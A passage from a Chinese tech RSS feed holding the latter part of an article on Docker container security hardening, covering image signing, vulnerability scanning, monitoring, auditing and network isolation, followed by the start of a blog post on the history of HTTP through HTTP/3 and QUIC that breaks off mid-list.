 &lt;p&gt;    Docker的内容信任（Content Trust）机制可保护镜像在镜像仓库与用户之间传输过程中的完整性。目前，Docker的内容信任机制默认关闭，需要手动开启。内容信任机制启用后，镜像发布者可对镜像进行签名，而镜像使用者可以对镜像签名进行验证。&lt;/p&gt;
 &lt;p&gt;    具体而言，镜像构建者在通过docker build命令运行Dockerfile文件前，需要通过手动或脚本方式将DOCKER_CONTENT_TRUST环境变量置为1进行启用。在内容信任机制开启后，push、build、create、pull、run等命令均与内容信任机制绑定，只有通过内容信任验证的镜像才可成功运行这些操作。例如，Dockerfile中如果包含未签名的基础镜像，将无法成功通过docker  build进行镜像构建。&lt;/p&gt;
 &lt;pre&gt;  &lt;code&gt;（命令示例：export DOCKER_CONTENT_TRUST = 1）&lt;/code&gt;&lt;/pre&gt;
 &lt;p&gt;      &lt;strong&gt;② Notary项目&lt;/strong&gt;&lt;/p&gt;
 &lt;p&gt;    Notary是一个从Docker中剥离的独立开源项目，提供数据收集的安全性。Notary用于发布内容的安全管理，可对发布的内容进行数字签名，并允许用户验证内容的完整性和来源。Notary的目标是保证服务器与客户端之间使用可信连接进行交互，用于解决互联网内容发布的安全性，并未局限于容器应用。&lt;/p&gt;
 &lt;p&gt;    在Docker容器场景中，Notary可支持Docker内容信任机制。因此，可使用Notary构建镜像仓库服务器，实现对容器镜像的签名，对镜像源认证、镜像完整性等安全需求提供更好的支持。&lt;/p&gt;
 &lt;p&gt;      &lt;strong&gt;2&lt;/strong&gt;  &lt;strong&gt;）镜像安全扫描&lt;/strong&gt;&lt;/p&gt;
 &lt;p&gt;    为了保证容器运行的安全性，在从公共镜像仓库获取镜像时需要对镜像进行安全检查，防止存在安全隐患甚至恶意漏洞的镜像运行，从源头端预防安全事故的发生。镜像漏洞扫描工具是一类常用的镜像安全检查辅助工具，可检测出容器镜像中含有的CVE漏洞。&lt;/p&gt;
 &lt;p&gt;    针对Docker镜像的漏洞扫描，目前已经有许多相关工具与解决方案，包括Docker Security Scanning、Clair、Anchore、Trivy、Aqua等等。&lt;/p&gt;
 &lt;p&gt;      &lt;strong&gt;① Docker Security Scanning服务&lt;/strong&gt;&lt;/p&gt;
 &lt;p&gt;    Docker Security Scanning是Docker官方推出的不开源镜像漏洞扫描服务，用于检测Docker Cloud服务中私有仓库和Docker Hub官方仓库中的镜像是否安全。&lt;/p&gt;
 &lt;p&gt;    Docker Security Scanning包括扫描触发、扫描器、数据库、附加元件框架以及CVE漏洞数据库比对等服务。当仓库中有镜像发生更新时，会自动启动漏洞扫描；当CVE漏洞数据库发生更新时，也会实时更新镜像漏洞扫描结果。&lt;/p&gt;
 &lt;p&gt;      &lt;strong&gt;② Clair工具&lt;/strong&gt;&lt;/p&gt;
 &lt;p&gt;    Clair是一款开源的Docker镜像漏洞扫描工具。与Docker Security Scanning类似，Clair通过对Docker镜像进行静态分析并与公共漏洞数据库关联，得到相应的漏洞分析结果。Clair主要包括以下模块：&lt;/p&gt;
 &lt;blockquote&gt;  &lt;p&gt;        Fetcher（获取器）：从公共的CVE漏洞源收集漏洞数据；    &lt;/p&gt;
  &lt;p&gt;        Detector（检测器）：对镜像的每一个Layer进行扫描，提取镜像特征；    &lt;/p&gt;
  &lt;p&gt;        Notifier（通知器）：用于接收WebHook从公开CVE漏洞库中的最新漏洞信息并进行漏洞库更新；    &lt;/p&gt;
  &lt;p&gt;        Databases（数据库）：PostSQL数据库存储容器中的各个层和CVE漏洞；    &lt;/p&gt;
&lt;/blockquote&gt;
 &lt;p&gt;      &lt;strong&gt;③ Trivy工具&lt;/strong&gt;&lt;/p&gt;
 &lt;p&gt;    Trivy是一个简单而全面的开源容器漏洞扫描程序。Trivy可检测操作系统软件包（Alpine、RHEL、CentOS等）和应用程序依赖项（Bundler、Composer、npm、yarn等）的漏洞。此外，Trivy具有较高的易用性，只需安装二进制文件并指定扫描容器的镜像名称即可执行扫描。Trivy提供了丰富的功能接口，相比于其他容器镜像漏洞扫描工具更适合自动化操作，可更好地满足持续集成的需求。&lt;/p&gt;
 &lt;pre&gt;  &lt;code&gt;（命令示例：trivy [镜像名]）&lt;/code&gt;&lt;/pre&gt;
 &lt;p&gt;      &lt;strong&gt;3&lt;/strong&gt;  &lt;strong&gt;）容器运行时监控&lt;/strong&gt;&lt;/p&gt;
 &lt;p&gt;    为了在系统运维层面保证容器运行的安全性，实现安全风险的即时告警与应急响应，需要对Docker容器运行时的各项性能指标进行实时监控。&lt;/p&gt;
 &lt;p&gt;    针对Docker容器监控的工具与解决方案包括docker stats、cAdvisor、Scout、DataDog、Sensu等等，其中最常见的是Docker原生的docker stats命令和Google的cAdvisor开源工具。&lt;/p&gt;
 &lt;p&gt;      &lt;strong&gt;① docker stats命令&lt;/strong&gt;&lt;/p&gt;
 &lt;p&gt;    docker stats是Docker自带的容器资源使用统计命令，可用于对宿主机上的Docker容器的资源使用情况进行手动监控，具体内容包括容器的基本信息、容器的CPU使用率、内存使用率、内存使用量与限制、块设备I/O使用量、网络I/O使用量、进程数等信息。用户可根据自身需求设置–format参数控制docker stats 命令输出的内容格式。&lt;/p&gt;
 &lt;pre&gt;  &lt;code&gt;（命令示例：docker stats [容器名]）&lt;/code&gt;&lt;/pre&gt;
 &lt;p&gt;      &lt;strong&gt;② cAdvisor工具&lt;/strong&gt;&lt;/p&gt;
 &lt;p&gt;    由于docker stats只是简单的容器资源查看命令，其可视化程度不高，同时不支持监控数据的存储。cAdvisor是由Google开源的容器监控工具，优化了docker stats在可视化展示与数据存储方面的缺陷。&lt;/p&gt;
 &lt;p&gt;    cAdvisor在宿主机上以容器方式运行，通过挂载在本地卷，可对同一台宿主机上运行的所有容器进行实时监控和性能数据采集，具体包括CPU使用情况、内存使用情况、网络吞吐量、文件系统使用情况等信息，并提供本地基础查询界面和API接口，方便与其他第三方工具进行搭配使用。cAdvisor默认将数据缓存在内存中，同时也提供不同的持久化存储后端支持，可将监控数据保存Google BigQuery、InfluxDB或Redis等数据库中。&lt;/p&gt;
 &lt;p&gt;    cAdvisor基于Go语言开发，利用CGroups获取容器的资源使用信息，目前已被集成在Kubernetes中的Kubelet组件里作为默认启动项。&lt;/p&gt;
 &lt;pre&gt;  &lt;code&gt;（命令示例：docker run -v /var/run:/var/run:rw -v/sys:/sys:ro -v/var/lib/docker:/var/lib/docker:ro -p8080:8080 -d --name cadvisor google/cadvisor）&lt;/code&gt;&lt;/pre&gt;
 &lt;p&gt;      &lt;strong&gt;4&lt;/strong&gt;  &lt;strong&gt;）容器安全审计&lt;/strong&gt;&lt;/p&gt;
 &lt;p&gt;      &lt;strong&gt;① Docker守护进程审计&lt;/strong&gt;&lt;/p&gt;
 &lt;p&gt;    在安全审计方面，对于运行Docker容器的宿主机而言，除需对主机Linux文件系统等进行审计外，还需对Docker守护进程的活动进行审计。由于系统默认不会对Docker守护进程进行审计，需要通过主动添加审计规则或修改规则文件进行。&lt;/p&gt;
 &lt;pre&gt;  &lt;code&gt;（命令示例：auditctl -w /usr/bin/docker -k docker或修改/etc/audit/audit.rules文件）&lt;/code&gt;&lt;/pre&gt;
 &lt;p&gt;      &lt;strong&gt;② Docker相关文件目录审计&lt;/strong&gt;&lt;/p&gt;
 &lt;p&gt;    除Docker守护进程之外，还需对与Docker的运行相关的文件和目录进行审计，同样需要通过命令行添加审计规则或修改规则配置文件，具体文件和目录如表4所示。&lt;/p&gt;
 &lt;p&gt;    表4：Docker相关文件和目录审计&lt;/p&gt;
 &lt;table&gt;


    

  &lt;tr&gt;
   &lt;th&gt;                需要审计的文件或目录            &lt;/th&gt;
   &lt;th&gt;                备注            &lt;/th&gt;
&lt;/tr&gt;


  &lt;tr&gt;
   &lt;td&gt;                /var/lib/docker            &lt;/td&gt;
   &lt;td&gt;                包含有关容器的所有信息            &lt;/td&gt;
&lt;/tr&gt;
  &lt;tr&gt;
   &lt;td&gt;                /etc/docker            &lt;/td&gt;
   &lt;td&gt;                包含Docker守护进程和客户端TLS通信的密钥和证书            &lt;/td&gt;
&lt;/tr&gt;
  &lt;tr&gt;
   &lt;td&gt;                docker.service            &lt;/td&gt;
   &lt;td&gt;                Docker守护进程运行参数配置文件            &lt;/td&gt;
&lt;/tr&gt;
  &lt;tr&gt;
   &lt;td&gt;                docker.socket            &lt;/td&gt;
   &lt;td&gt;                守护进程运行socket            &lt;/td&gt;
&lt;/tr&gt;
  &lt;tr&gt;
   &lt;td&gt;                /etc/default/docker            &lt;/td&gt;
   &lt;td&gt;                支持Docker守护进程各种参数            &lt;/td&gt;
&lt;/tr&gt;
  &lt;tr&gt;
   &lt;td&gt;                /etc/default/daemon.json            &lt;/td&gt;
   &lt;td&gt;                支持Docker守护进程各种参数            &lt;/td&gt;
&lt;/tr&gt;
  &lt;tr&gt;
   &lt;td&gt;                /usr/bin/docker-containerd            &lt;/td&gt;
   &lt;td&gt;                Docker可用containerd生成容器            &lt;/td&gt;
&lt;/tr&gt;
  &lt;tr&gt;
   &lt;td&gt;                /usr/bin/docker-runc            &lt;/td&gt;
   &lt;td&gt;                Docker可用runC生成容器            &lt;/td&gt;
&lt;/tr&gt;

&lt;/table&gt;
 &lt;p&gt;    Docker公司与美国互联网安全中心（CIS）联合制定了Docker最佳安全实践CIS Docker Benchmark，目前最新版本为1.2.0。为了帮助Docker用户对其部署的容器环境进行安全检查，Docker官方提供了Docker Bench for Security安全配置检查脚本工具docker-bench-security，其检查依据便是CIS制定的Docker最佳安全实践。&lt;/p&gt;
 &lt;h3&gt;    3、容器网络安全&lt;/h3&gt;
 &lt;p&gt;      &lt;strong&gt;1&lt;/strong&gt;  &lt;strong&gt;）容器间流量限制&lt;/strong&gt;&lt;/p&gt;
 &lt;p&gt;    由于Docker容器默认的网桥模式不会对网络流量进行控制和限制，为了防止潜在的网络DoS攻击风险，需要根据实际需求对网络流量进行相应的配置。&lt;/p&gt;
 &lt;p&gt;      &lt;strong&gt;① 完全禁止容器间通信&lt;/strong&gt;&lt;/p&gt;
 &lt;p&gt;    在特定的应用场景中，如果宿主机中的所有容器无需在三层或四层进行网络通信交互，可通过将Docker daemon的–icc参数设为false以禁止容器与容器间的通信。&lt;/p&gt;
 &lt;pre&gt;  &lt;code&gt;（命令示例：dockerd --icc = false）&lt;/code&gt;&lt;/pre&gt;
 &lt;p&gt;      &lt;strong&gt;② 容器间流量控制&lt;/strong&gt;&lt;/p&gt;
 &lt;p&gt;    在存在多租户的容器云环境中，可能存在单个容器占用大量宿主机物理网卡抢占其他容器带宽的情况。为了保证容器之间的正常通信，同时避免异常流量造成网络DoS攻击等后果，需要对容器之间的通信流量进行一定的限制。&lt;/p&gt;
 &lt;p&gt;    由于Docker通过创建虚拟网卡对（eth0和veth*）将容器与虚拟网桥docker0连接，而容器之间的通信需要经由虚拟网卡对eth0和veth*通过网桥连接，因此，可采用Linux的流量控制模块traffic controller对容器网络进行流量限制。&lt;/p&gt;
 &lt;p&gt;    traffic controller的原理是建立数据包队列并制定发送规则，实现流量限制与调度的功能。为了在一定程度上减轻容器间的DoS攻击的危害，可将traffic controller的dev设置为宿主机中与各容器连接的veth*虚拟网卡，以此进行宿主机上容器间流量限制。&lt;/p&gt;
 &lt;p&gt;      &lt;strong&gt;2&lt;/strong&gt;  &lt;strong&gt;）网桥模式下的网络访问控制&lt;/strong&gt;&lt;/p&gt;
 &lt;p&gt;    在默认的网桥连接模式中，连接在同一个网桥的两个容器可以进行直接相互访问。因此，为了实现网络访问控制，可按需配置网络访问控制机制和策略。&lt;/p&gt;
 &lt;p&gt;      &lt;strong&gt;① 为容器创建不同的桥接网络&lt;/strong&gt;&lt;/p&gt;
 &lt;p&gt;    为了实现容器间的网络隔离，可将容器放在不同的桥接网络中。当在Docker中使用docker network create命令创建新的桥接网络时，会在iptables中的DOCKER-ISOLATION新增DROP丢弃规则，阻断与其他网络之间的通信流量，实现容器网络之间隔离的目的。&lt;/p&gt;
 &lt;pre&gt;  &lt;code&gt;（命令示例：docker network create --subnet 102.102.0.0/24 test）&lt;/code&gt;&lt;/pre&gt;
 &lt;p&gt;      &lt;strong&gt;② 基于白名单策略的网络访问控制&lt;/strong&gt;&lt;/p&gt;
 &lt;p&gt;    为了保证容器间的网络安全，可默认禁止容器间的通信，然后按需设置网络访问控制规则。&lt;/p&gt;
 &lt;p&gt;    具体而言，在同一虚拟网络内，不同Docker容器之间的网络访问可通过iptables进行控制。在将Docker daemon的–icc参数设为false后，iptables的FORWARD链策略为默认全部丢弃。此时，可采用白名单策略实现网络访问控制，即根据实际需要在iptables中添加访问控制策略，以最小化策略减小攻击面。&lt;/p&gt;
 &lt;p&gt;      &lt;strong&gt;3&lt;/strong&gt;  &lt;strong&gt;）集群模式下的网络访问控制&lt;/strong&gt;&lt;/p&gt;
 &lt;p&gt;    与通过OpenStack建立的虚拟化集群通过VLAN对不同租户进行子网隔离不同，基于Overlay网络的容器集群在同一主机内相同子网中的不同容器之间默认可以直接访问。&lt;/p&gt;
 &lt;p&gt;    如需控制宿主机外部到内部容器应用的访问，可通过在宿主机iptables中的DOCKER-INGRESS链手动添加ACL访问控制规则以控制宿主机的eth0到容器的访问，或者在宿主机外部部署防火墙等方法实现。&lt;/p&gt;
 &lt;p&gt;    然而，在大型的容器云环境中，由于存在频繁的微服务动态变化更新，通过手动的方式配置iptables或更新防火墙是不现实的。因此，可通过微分段（Micro-Segmentation）实现面向容器云环境中的容器防火墙。微分段是一种细粒度的网络分段隔离机制，与传统的以网络地址为基本单位的网络分段机制不同，微分段可以以单个容器、同网段容器、容器应用为粒度实现分段隔离，并通过容器防火墙对实现微分段间的网络访问控制。&lt;/p&gt;
 &lt;h2&gt;    四、总结&lt;/h2&gt;
 &lt;p&gt;    与虚拟化技术相比，Docker容器技术具有敏捷化、轻量化等特点，在推进云原生应用方面具有不可替代性。与此同时，容器技术对于高效性的追求也牺牲了隔离性等安全要求，在安全性方面与虚拟化技术相比还存在较大差距，且所涉及的面较广，涉及到容器的镜像安全、内核安全、网络安全、虚拟化安全、运行时安全等各个层面。&lt;/p&gt;
 &lt;p&gt;    在应用容器技术进行系统部署时，应充分评估安全风险，根据应用场景制定相应安全需求，并整合相关安全解决方案，形成容器安全应用最佳实践。&lt;/p&gt;
 &lt;p&gt;      &lt;strong&gt;*本文作者：狴犴安全团队，转载请注明来自FreeBuf.COM&lt;/strong&gt;&lt;/p&gt;
&lt;div&gt; &lt;a href="https://itindex.net/"  title="IT 资讯"&gt;&lt;img src="https://itindex.net/images/iconWarning.gif" title="IT 资讯" border="0"/&gt; &lt;/a&gt;</description>
      <category>系统安全 Docker 云计算 容器</category>
      <guid isPermaLink="true">https://itindex.net/detail/60225-docker-%E5%AE%B9%E5%99%A8-%E5%AE%89%E5%85%A8</guid>
      <pubDate>Sun, 15 Dec 2019 08:00:56 CST</pubDate>
    </item>
    <item>
      <title>HTTP的前世今生</title>
      <link>https://itindex.net/detail/60066-http-%E5%89%8D%E4%B8%96%E4%BB%8A%E7%94%9F</link>
      <description>&lt;p&gt;  &lt;img alt="" height="200" src="https://coolshell.cn/wp-content/uploads/2019/10/HTTP-770x513-300x200.jpg" width="300"&gt;&lt;/img&gt;HTTP (Hypertext transfer protocol) 翻译成中文是超文本传输协议，是互联网上重要的一个协议，由欧洲核子研究委员会CERN的英国工程师   &lt;a href="https://en.wikipedia.org/wiki/Tim_Berners-Lee" title=""&gt;Tim Berners-Lee&lt;/a&gt; v发明的，同时，他也是WWW的发明人，最初的主要是用于传递通过HTML封装过的数据。在1991年发布了HTTP 0.9版，在1996年发布1.0版，1997年是1.1版，1.1版也是到今天为止传输最广泛的版本（初始  &lt;a href="https://tools.ietf.org/html/rfc2068" rel="nofollow"&gt;RFC 2068&lt;/a&gt; 在1997年发布， 然后在1999年被   &lt;a href="https://tools.ietf.org/html/rfc2616" rel="nofollow"&gt;RFC 2616&lt;/a&gt; 取代，再在2014年被   &lt;a href="https://tools.ietf.org/html/rfc7230" rel="nofollow"&gt;RFC 7230&lt;/a&gt; /  &lt;a href="https://tools.ietf.org/html/rfc7231" rel="nofollow"&gt;7231&lt;/a&gt;/  &lt;a href="https://tools.ietf.org/html/rfc7232" rel="nofollow"&gt;7232&lt;/a&gt;/  &lt;a href="https://tools.ietf.org/html/rfc7233" rel="nofollow"&gt;7233&lt;/a&gt;/  &lt;a href="https://tools.ietf.org/html/rfc7234" rel="nofollow"&gt;7234&lt;/a&gt;/  &lt;a href="https://tools.ietf.org/html/rfc7235" rel="nofollow"&gt;7235&lt;/a&gt;取代），2015年发布了2.0版，其极大的优化了HTTP/1.1的性能和安全性，而2018年发布的3.0版，继续优化HTTP/2，激进地使用UDP取代TCP协议，目前，HTTP/3 在2019年9月26日 被 Chrome，Firefox，和Cloudflare支持，所以我想写下这篇文章，简单地说一下HTTP的前世今生，让大家学到一些知识，并希望可以在推动一下HTTP标准协议的发展。&lt;/p&gt;
 &lt;h4&gt;HTTP 0.9 / 1.0&lt;/h4&gt;
 &lt;p&gt;0.9和1.0这两个版本，就是最传统的 request – response的模式了，HTTP 0.9版本的协议简单到极点，请求时，不支持请求头，只支持   &lt;code&gt;GET&lt;/code&gt; 方法，没了。HTTP 1.0 扩展了0.9版，其中主要增加了几个变化：&lt;/p&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;ul&gt;
  &lt;li&gt;在请求中加入了HTTP版本号，如：   &lt;code&gt;GET /coolshell/index.html HTTP/1.0&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;HTTP 开始有 header了，不管是request还是response 都有header了。&lt;/li&gt;
  &lt;li&gt;增加了HTTP Status Code 标识相关的状态码。&lt;/li&gt;
  &lt;li&gt;还有    &lt;code&gt;Content-Type&lt;/code&gt; 可以传输其它的文件了。&lt;/li&gt;
&lt;/ul&gt;
 &lt;p&gt;我们可以看到，HTTP 1.0 开始让这个协议变得很文明了，一种工程文明。因为：&lt;/p&gt;
 &lt;ul&gt;
  &lt;li&gt;一个协议有没有版本管理，是一个工程化的象征。&lt;/li&gt;
  &lt;li&gt;header是协议可以说是把元数据和业务数据解耦，也可以说是控制逻辑和业务逻辑的分离。&lt;/li&gt;
  &lt;li&gt;Status Code 的出现可以上请求双方以及第三方的监控或管理程序有了统一的认识。最关键是还是控制错误和业务错误的分离。&lt;/li&gt;
&lt;/ul&gt;
 &lt;p&gt;（注：国内很多公司HTTP无论对错只返回200，这种把HTTP Status Code 全部抹掉完全是一种工程界的倒退）&lt;/p&gt;
 &lt;p&gt;但是，HTTP1.0性能上有一个很大的问题，那就是每请求一个资源都要新建一个TCP链接，而且是串行请求，所以，就算网络变快了，打开网页的速度也还是很慢。所以，HTTP 1.0 应该是一个必需要淘汰的协议了。&lt;/p&gt;
 &lt;h4&gt; HTTP/1.1&lt;/h4&gt;
 &lt;p&gt;HTTP/1.1 主要解决了HTTP 1.0的网络性能的问题，以及增加了一些新的东西：&lt;/p&gt;
 &lt;ul&gt;
  &lt;li&gt;可以设置    &lt;code&gt;keepalive&lt;/code&gt; 来让HTTP重用TCP链接，重用TCP链接可以省了每次请求都要在广域网上进行的TCP的三次握手的巨大开销。这是所谓的“   &lt;strong&gt;HTTP 长链接&lt;/strong&gt;” 或是 “   &lt;strong&gt;请求响应式的HTTP 持久链接&lt;/strong&gt;”。英文叫 HTTP Persistent connection.&lt;/li&gt;
  &lt;li&gt;然后支持pipeline网络传输，只要第一个请求发出去了，不必等其回来，就可以发第二个请求出去，可以减少整体的响应时间。（注：非幂等的POST 方法或是有依赖的请求是不能被pipeline化的）&lt;/li&gt;
  &lt;li&gt;支持 Chunked Responses ，也就是说，在Response的时候，不必说明    &lt;code&gt;Content-Length&lt;/code&gt; 这样，客户端就不能断连接，直到收到服务端的EOF标识。这种技术又叫 “   &lt;strong&gt;服务端Push模型&lt;/strong&gt;”，或是 “   &lt;strong&gt;服务端Push式的HTTP 持久链接&lt;/strong&gt;”&lt;/li&gt;
  &lt;li&gt;还增加了 cache control 机制。&lt;/li&gt;
  &lt;li&gt;协议头注增加了 Language, Encoding, Type 等等头，让客户端可以跟服务器端进行更多的协商。&lt;/li&gt;
  &lt;li&gt;还正式加入了一个很重要的头——    &lt;code&gt;    &lt;a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Host" rel="noopener noreferrer" target="_blank"&gt;HOST&lt;/a&gt;&lt;/code&gt;这样的话，服务器就知道你要请求哪个网站了。因为可以有多个域名解析到同一个IP上，要区分用户是请求的哪个域名，就需要在HTTP的协议中加入域名的信息，而不是被DNS转换过的IP信息。&lt;/li&gt;
  &lt;li&gt;正式加入了    &lt;code&gt;OPTIONS&lt;/code&gt; 方法，其主要用于    &lt;a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS" rel="noopener noreferrer" target="_blank"&gt;CORS – Cross Origin Resource Sharing&lt;/a&gt; 应用。&lt;/li&gt;
&lt;/ul&gt;
 &lt;p&gt;HTTP/1.1应该分成两个时代，一个是2014年前，一个是2014年后，因为2014年HTTP/1.1有了一组RFC（  &lt;a href="https://tools.ietf.org/html/rfc7230" rel="nofollow"&gt;7230&lt;/a&gt; /  &lt;a href="https://tools.ietf.org/html/rfc7231" rel="nofollow"&gt;7231&lt;/a&gt;/  &lt;a href="https://tools.ietf.org/html/rfc7232" rel="nofollow"&gt;7232&lt;/a&gt;/  &lt;a href="https://tools.ietf.org/html/rfc7233" rel="nofollow"&gt;7233&lt;/a&gt;/  &lt;a href="https://tools.ietf.org/html/rfc7234" rel="nofollow"&gt;7234&lt;/a&gt;/  &lt;a href="https://tools.ietf.org/html/rfc7235" rel="nofollow"&gt;7235&lt;/a&gt;），这组RFC又叫“HTTP/2 预览版”。其中影响HTTP发展的是两个大的需求：&lt;/p&gt;
 &lt;ul&gt;
  &lt;li&gt;一个需要是加大了HTTP的安全性，这样就可以让HTTP应用得广泛，比如，使用TLS协议。&lt;/li&gt;
  &lt;li&gt;另一个是让HTTP可以支持更多的应用，在HTTP/1.1 下，HTTP已经支持四种网络协议：
   &lt;ul&gt;
    &lt;li&gt;传统的短链接。&lt;/li&gt;
    &lt;li&gt;可重用TCP的的长链接模型。&lt;/li&gt;
    &lt;li&gt;服务端push的模型。&lt;/li&gt;
    &lt;li&gt;WebSocket模型。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
 &lt;p&gt;自从2005年以来，整个世界的应用API越来多，这些都造就了整个世界在推动HTTP的前进，我们可以看到，  &lt;strong&gt;自2014的HTTP/1.1 以来，这个世界基本的应用协议的标准基本上都是向HTTP看齐了，也许2014年前，还有一些专用的RPC协议，但是2014年以后，HTTP协议的增强，让我们实在找不出什么理由不向标准靠拢，还要重新发明轮子了。&lt;/strong&gt;&lt;/p&gt;
 &lt;h4&gt;HTTP/2&lt;/h4&gt;
 &lt;p&gt;虽然 HTTP/1.1 已经开始变成应用层通讯协议的一等公民了，但是还是有性能问题，虽然HTTP/1.1 可以重用TCP链接，但是请求还是一个一个串行发的，需要保证其顺序。然而，大量的网页请求中都是些资源类的东西，这些东西占了整个HTTP请求中最多的传输数据量。所以，理论上来说，如果能够并行这些请求，那就会增加更大的网络吞吐和性能。&lt;/p&gt;
 &lt;p&gt;另外，HTTP/1.1传输数据时，是以文本的方式，借助耗CPU的zip压缩的方式减少网络带宽，但是耗了前端和后端的CPU。这也是为什么很多RPC协议诟病HTTP的一个原因，就是数据传输的成本比较大。&lt;/p&gt;
 &lt;p&gt;其实，在2010年时，Google 就在搞一个实验型的协议，这个协议叫  &lt;a href="https://en.wikipedia.org/wiki/SPDY"&gt;SPDY&lt;/a&gt;，这个协议成为了HTTP/2的基础（也可以说成HTTP/2就是SPDY的复刻）。HTTP/2基本上解决了之前的这些性能问题，其和HTTP/1.1最主要的不同是：&lt;/p&gt;
 &lt;ul&gt;
  &lt;li&gt;HTTP/2是一个二进制协议，增加了数据传输的效率。&lt;/li&gt;
  &lt;li&gt;HTTP/2是可以在一个TCP链接中并发请求多个HTTP请求，移除了HTTP/1.1中的串行请求。&lt;/li&gt;
  &lt;li&gt;HTTP/2会压缩头，如果你同时发出多个请求，他们的头是一样的或是相似的，那么，协议会帮你消除重复的部分。这就是所谓的HPACK算法（参看   &lt;a href="https://tools.ietf.org/html/rfc7541" rel="nofollow noopener noreferrer" target="_blank"&gt;RFC 7541&lt;/a&gt; 附录A）&lt;/li&gt;
  &lt;li&gt;HTTP/2允许服务端在客户端放cache，又叫服务端push，也就是说，你没有请求的东西，我服务端可以先送给你放在你的本地缓存中。比如，你请求X，我服务端知道X依赖于Y，虽然你没有的请求Y，但我把把Y跟着X的请求一起返回客户端。&lt;/li&gt;
&lt;/ul&gt;
 &lt;p&gt;对于这些性能上的改善，在Medium上有篇文章你可看一下相关的细节说明和测试“  &lt;a href="https://medium.com/@factoryhr/http-2-the-difference-between-http-1-1-benefits-and-how-to-use-it-38094fa0e95b" rel="noopener noreferrer" target="_blank"&gt;HTTP/2: the difference between HTTP/1.1, benefits and how to use it&lt;/a&gt;”&lt;/p&gt;
 &lt;p&gt;当然，还需要注意到的是HTTP/2的协议复杂度比之前所有的HTTP协议的复杂度都上升了许多许多，其内部还有很多看不见的东西，比如其需要维护一个“优先级树”来用于来做一些资源和请求的调度和控制。如此复杂的协议，自然会产生一些不同的声音，或是降低协议的可维护和可扩展性。所以也有一些争议。尽管如此，HTTP/2还是很快地被世界所采用。&lt;/p&gt;
 &lt;p&gt;HTTP/2 是2015年推出的，其发布后，Google 宣布移除对SPDY的支持，拥抱标准的 HTTP/2。过了一年后，就有8.7%的网站开启了HTTP/2，根据   &lt;a href="https://w3techs.com/technologies/details/ce-http2/all/all" rel="noopener noreferrer" target="_blank"&gt;这份报告&lt;/a&gt; ，截止至本文发布时（2019年10月1日 ）， 在全世界范围内已经有41%的网站开启了HTTP/2。&lt;/p&gt;
 &lt;p&gt;HTTP/2的官方组织在 Github 上维护了一份  &lt;a href="https://github.com/http2/http2-spec/wiki/Implementations" rel="noopener noreferrer" target="_blank"&gt;各种语言对HTTP/2的实现列表&lt;/a&gt;，大家可以去看看。&lt;/p&gt;
 &lt;p&gt;我们可以看到，HTTP/2 在性能上对HTTP有质的提高，所以，HTTP/2 被采用的也很快，所以，  &lt;strong&gt;如果你在你的公司内负责架构的话，HTTP/2是你一个非常重要的需要推动的一个事，除了因为性能上的问题，推荐标准也是架构师的主要职责，因为，你企业内部的架构越标准，你可以使用到开源软件，或是开发方式就会越有效率，跟随着工业界的标准的发展，你的企业会非常自然的享受到标准所带来的红利。&lt;/strong&gt;&lt;/p&gt;
 &lt;h4&gt;HTTP/3&lt;/h4&gt;
 &lt;p&gt;然而，这个世界没有完美的解决方案，HTTP/2也不例外，其主要的问题是：若干个HTTP的请求在复用一个TCP的连接，底层的TCP协议是不知道上层有多少个HTTP的请求的，所以，一旦发生丢包，造成的问题就是所有的HTTP请求都必需等待这个丢了的包被重传回来，哪怕丢的那个包不是我这个HTTP请求的。因为TCP底层是没有这个知识了。&lt;/p&gt;
 &lt;p&gt;这个问题又叫  &lt;a href="https://en.wikipedia.org/wiki/Head-of-line_blocking" rel="noopener noreferrer" target="_blank"&gt;Head-of-Line Blocking&lt;/a&gt;问题，这也是一个比较经典的流量调度的问题。这个问题最早主要的发生的交换机上。下图来自Wikipedia。&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="" height="220" src="https://coolshell.cn/wp-content/uploads/2019/10/HOL_blocking.png" width="423"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;图中，左边的是输入队列，其中的1，2，3，4表示四个队列，四个队列中的1，2，3，4要去的右边的output的端口号。此时，第一个队列和第三个队列都要写右边的第四个端口，然后，一个时刻只能处理一个包，所以，一个队列只能在那等另一个队列写完后。然后，其此时的3号或1号端口是空闲的，而队列中的要去1和3号端号的数据，被第四号端口给block住了。这就是所谓的HOL blocking问题。&lt;/p&gt;
 &lt;p&gt;HTTP/1.1中的pipeline中如果有一个请求block了，那么队列后请求也统统被block住了；HTTP/2 多请求复用一个TCP连接，一理发生丢包，就会block住所有的HTTP请求。这样的问题很讨厌。好像基本无解了。&lt;/p&gt;
 &lt;p&gt;是的TCP是无解了，但是UDP是有解的 ！  &lt;strong&gt;于是HTTP/3破天荒地把HTTP地底层的TCP协议改成了UDP！&lt;/strong&gt;&lt;/p&gt;
 &lt;p&gt;然后又是Google 家的协议进入了标准 – QUIC （Quick UDP Internet Connections）。接下来是QUIC协议的几个重要的特性，为了讲清楚这些特性，我需要带着问题来讲（注：下面的网络知识，如果你看不懂的话，你需要学习一下《  &lt;a href="https://book.douban.com/subject/1088054/" rel="noopener noreferrer" target="_blank"&gt;TCP/IP详解&lt;/a&gt;》一书（在我写blog的这15年里，这本书推荐了无数次了），或是看一下本站的《  &lt;a href="https://coolshell.cn/articles/11564.html"&gt;TCP的那些事&lt;/a&gt;》。）：&lt;/p&gt;
 &lt;ul&gt;
  &lt;li&gt;首先是上面的Head-of-Line blocking问题，在UDP的世界中，这个就没了。这个应该比较好理解，因为UDP不管顺序，不管丢包（当然，QUIC的一个任务是要像TCP的一个稳定，所以QUIC有自己的丢包重传的机制）&lt;/li&gt;
